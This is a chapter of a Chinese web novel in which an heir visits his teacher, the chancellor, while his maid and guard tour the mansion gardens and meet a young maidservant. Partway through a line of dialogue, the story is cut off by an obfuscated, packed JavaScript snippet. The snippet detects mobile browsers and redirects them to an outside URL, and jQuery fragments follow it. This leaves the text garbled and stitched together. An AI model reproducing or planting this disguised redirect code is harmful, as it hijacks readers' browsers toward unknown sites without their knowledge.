10. 相府

    马车不疾不徐驶入闹市,坐在马车里的云若听着外面络绎不绝的叫卖声,心里发痒,想推开窗子,看看外头到底是何番景象。


    她偷偷瞟看端坐上方,正在闭目养神的世子,思索再三,还是作罢,可别打扰了世子的思绪,毕竟这次出来是干正事的。


    她在车里坐立不安,陆执不用看都知道她心思飞哪儿去了。


    “若一会儿从相府回来得早,可带你们去玩玩。”


    闻言,云若心中欢喜,转头要谢恩,却见世子仍旧闭着眼,看上去不便打扰的模样。


    她用只有两人听到的声音回了句“多谢世子”。


    陆执嘴角微微上扬。


    镇国公府离丞相府不远,穿过两条街就到了。


    马车缓缓驶停,左行安置好轿凳,温声提醒:“世子,丞相府到了。”


    云若打开车门,由世子先下,她下车的时候,就见一只手臂横在她面前,抬眸一看,左行笑得灿烂。


    虽然这点高度对她来说不算什么,但左行一番好意,云若也不好拒绝,道了句:“多谢左侍卫。”


    她伸手刚要搭上去,就听已经下车等着的世子幽然道:“左侍卫,到底谁是主子?”


    左行讪笑,自己把手往上一抬,云若就搭上了他,顺势就把她扶了下来。


    云若脚一踩上地,立马收回手交叠放在身前,含胸低头乖乖走到世子身边,尽量避免战火蔓延。


    左行一看已经表现完,转身对陆执耍小机灵:“当然您是主子,您看您这通身气派……诶!世子等等我!”


    陆执甩了个眼刀给他,拂袖转身,大步迈开,云若连转身跟上,就这么几息已经和左行拉开了一段距离。


    看门的家丁早已把门打开,陆执经过的时候,皆作揖行礼后,走在前方引路。


    左行还没发挥就被打断,立马要快步跟上,想起自己忘拿了世子要交给丞相的功课,立马钻进马车里一阵手忙脚乱。


    好不容易把东西拿上,眼看两人已经走远,左行连忙去追。


    云若被暗暗调整呼吸的左行逗笑,一抬眼就见世子斜眼瞥她,云若立刻耷拉下嘴角。


    世子发出意味不明的气声。


    云若虚瞄一眼跟在世子另一边的左行,问他世子是不是生气了。


    左行摆出一副怎么可能的样子,摇摇头。


    没有就好。云若收回视线,这才开始打量起丞相府来。


    如果说镇国公府是气势恢宏,尽显显赫,那丞相府就是大气内敛,庄重威严,一走进来,云若就仿佛通过宅子能感受它背后主人的权势逼人。


    穿过开阔的庭院,入目的是宽阔敞亮的议事厅,一行人右转走上回廊,能看见百花齐放的花园,假山嶙峋,潺潺流水穿梭其间,一座凉亭坐落在其中,俨然如画中之境一般。


    云若不敢表现出太过惊艳的样子,怕丢了世子的脸面,只能暗中打量,在心底悄悄惊叹。


    几个连续的右转后,引路的下人停在一间较之前景象略显素雅的屋子面前,对着打开的房门通传:“相爷,陆世子到了。”


    一道厚重威严的声音如黄钟大吕,掷地有声:“请世子进来。”


    庄相教学时一向不喜有旁人在侧叨扰,陆执接过左行递过来的箱子,嘱咐两人:“你们在此候着,切莫惹事。”


    说罢撩袍跨入屋子,下人等他进去后熟练地把门关上,随后对左行道:“你们随我去前厅等候如何?”


    左行摆摆手:“不用,我们想在这花园逛逛。”


    那人没有再说什么,自己回了前院。


    待人已经消失在转角,左行便领着她往花园里去。


    云若有些担心:“世子不是让我们在这候着吗?我们在别人府上乱逛不会有事吧?”


    “放心,世子这话的意思就是让我们自便,只要不给他惹麻烦就行。况且丞相府算得上是世子半个家,这儿的人大多都认识我,不会阻拦我。刚刚我就瞧你对丞相府挺新奇的样子,现在我就带你逛逛。你还别说,这跟我们府上的还是很不同的。”


    听左行这么说,知道不算违背世子的命令,云若才放下心来,整个人被好奇驱使,跟在左行身后,大胆打量起丞相府的建筑布局来。


    一路走下来,云若都只是远远观看,不敢凑得过近,害怕自己毛手毛脚磕坏了哪里,到时候就算再卖她个十来回可能都不够赔。


    穿过假山,曲径蜿蜒而去,好像后面还别有一番天地。


    “往这里去是?”云若停下来,不敢再继续往前走。


    “这里其实就是丞相书房配的小花园,从这穿过去才是这府里的后花园,花草比这里的还多,有一座更大的假山,还有一个湖,里面种满了莲花,现在正是开得最好的时候,你要去看看吗?”


    云若点点头。她没见过莲花,自是好奇。


    云若跟着左行又走了段路,鹅卵石铺就的小路逐渐变宽,隐约可以闻见清幽的花香。


    “这就是莲花池了。”


    左行侧身,云若的视线豁然开朗,满池莲花几乎全部盛开,高高矮矮错落有致,湖水澄澈,阳光倾洒,粼粼波光映在人的脸上,偶尔还能看见几条肥满的锦鲤跃出水面。


    “好漂亮。”云若由衷赞叹。


    “那当然。”两道声音同时响起,一道是左行的,还有一道声音听起来比较稚嫩,语气里还带着骄傲。


    云若和左行循着声音望去,硕大的莲叶被拨开,一个丫鬟打扮约莫只有十三四岁的女孩正在岸边摘荷叶。


    “左行,你又在我们府里乱逛!”女孩看清两人,捡起地上的莲叶,走到跟前。


    云若看向左行,他还真没骗他,这府上认识他的人还不少。


    “原来是采宁。”左行一脸嬉笑,“你在这里干什么?今日怎么不见你家小姐?你平日里不是对你家小姐寸步不离的吗?”


    名叫采宁的丫鬟轻哼一声,视线在云若身上打转,云若对上她的视线,露出一个得体的笑容点头同她问好。


    看她也是丫鬟的样子,采宁友好回礼,随后矛头指向左行:“这话应该我问你才是吧,这儿可是丞相府!而且我家小姐的行踪哪里是你这个下人能探寻的?除非……是你主子要问还差不多。”


    提到世子,采宁好像多了几分怨气。


    “是是是,瞧我这嘴,采


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099966|163712||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宁姑娘可是庄小姐身边最器重的人,我这不是好奇你怎么不伺候小姐,反倒跑这来摘荷叶。”左行本来平时就嘴笨,随便呛他两句,他便会败下阵来,而采宁是庄小姐身边最牙尖嘴利的,他自然不会自讨没趣。


    采宁毕竟还小,最吃左行这种哄人的话,她微微扬头:“那当然,我家小姐最喜欢我了。不过我家小姐最怕热,已经回老家避暑去了,要入秋了才会回来。这荷叶是厨房叫我摘去午膳要用的。”


    “原来如此。”


    “那你慢慢逛吧,本姑娘先走了。”


    “采宁姑娘慢走。”左行高兴地挥手送别。


    等采宁走远了,云若才问出心中的好奇:“丞相的千金?你怎么想着问庄小姐?还有你和采宁姑娘……”


    左行怕云若误会自己,赶紧解释:“不是我,是世子……不对!”他脑子比嘴还笨,一下子说不清。


    云若有些疑惑:“世子?”


    “不是,也不是世子!是庄小姐心悦我家世子,每次世子来相府,庄小姐都会寻借口来与世子搭话。但世子对庄小姐并无意。我今日没瞧见庄小姐,所以这才有些好奇问问她家丫鬟怎么回事。”


    原来如此,连相府千金都对世子青睐有加,看来世子果然如传闻中一样爱慕者众多。也难怪适才提起世子的时候,采宁有些不满,想来是心疼自家小姐饱受相思之苦。


    采宁的小插曲过后,左行又带着云若转了转相府别处,很快就到了用午膳的时候,书房里的两人却还是没有动静,一直到午后,左行都打完两个盹了,书房门才从里打开。


    见世子出来,云若赶紧推醒昏昏欲睡的左行,自己则站在他面前,为他挡一挡。


    一个小小的身躯后面渐渐冒出一个高大的身体,娇小的她像是被左行拥在怀里。


    “经义、策问都答得不错,字也越来越有大家风范了,看来这段时间,没有1旁人监督,你一样不会松懈。很好。”看似一个简单的评价,其实是庄行俭最高的称赞。


    陆执收回视线,微微欠身:“多谢老师。”


    庄行俭抬头看日头已经往西偏了,这才反应过来两人竟谈论了如此之久。陆执这孩子聪明,能做他的老师,庄行俭也觉得是自己的荣幸,他从来不需要人操心,给他安排的任务总是能圆满完成,偶尔还会给人点惊喜,实在让人以他为豪。


    “虽然离秋闱还有一年多,但你还是不能偷懒,为师期望你能一举夺魁,连中三元,成为我朝最年轻的状元。”


    “学生会努力的,不会辜负老师的期待。”


    陆执承诺得温柔,话语里自信但不张扬,含着一股子坚定的韧劲,让庄行俭觉得他也是冲着这个目标去的。


    他满意地点点头:“时候不早了,你一大早就来了,在府上用了膳再回去,你我师徒二人也是好久没见了,我此行去苏州,窥见了许多这些书上不曾记录的东西,正好说与你听听,你听完想想如果你是苏州的父母官,你当如何做。这就是你这个月的特别作业。”


    “请老师赐教。”


    庄行俭把人请到前厅,用完膳,两个人又谈论了大半个时辰,陆执才带着两个人打道回府。